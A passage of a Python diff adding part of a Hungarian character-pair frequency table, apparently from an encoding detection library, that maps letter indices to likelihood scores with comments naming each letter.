'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 48: { # 'V' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 55: { # 'Y' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 52: { # 'Z' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 2: { # 'a' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 18: { # 'b' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 26: { # 'c' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 17: { # 'd' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 1: { # 'e' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 2, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 27: { # 'f' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 3, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 12: { # 'g' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 20: { # 'h' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 9: { # 'i' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 1, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 22: { # 'j' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 7: { # 'k' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 3, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 6: { # 'l' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 3, # 'ő' + 56: 1, # 'ű' + }, + 13: { # 'm' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 4: { # 'n' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 1, # 'x' + 16: 3, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 8: { # 'o' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 23: { # 'p' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 10: { # 'r' + 28: 0, # 'A' + 